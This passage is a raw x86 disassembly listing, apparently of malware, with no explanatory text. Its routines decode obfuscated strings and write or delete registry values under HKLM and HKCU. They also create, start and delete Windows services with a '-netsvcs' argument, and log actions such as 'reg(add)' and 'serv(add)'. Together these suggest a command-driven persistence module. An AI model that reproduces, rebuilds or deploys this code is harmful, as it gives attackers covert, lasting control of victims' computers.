		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28E0000h
		nop
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2920000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28E0000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2920000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2920000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28E0000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 28E086Ch
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447874
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28E0B12h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 27A08E0h
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		nop
		call	near ptr 28F0000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 28F0302h
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E086Ch
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2880457h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 28F0000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 28E04F4h
		push	esi
		nop
		call	near ptr 28E0747h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E086Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 2880457h
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 28F0000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E086Ch
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2880457h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		call	near ptr 28F0000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28D0BEDh
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
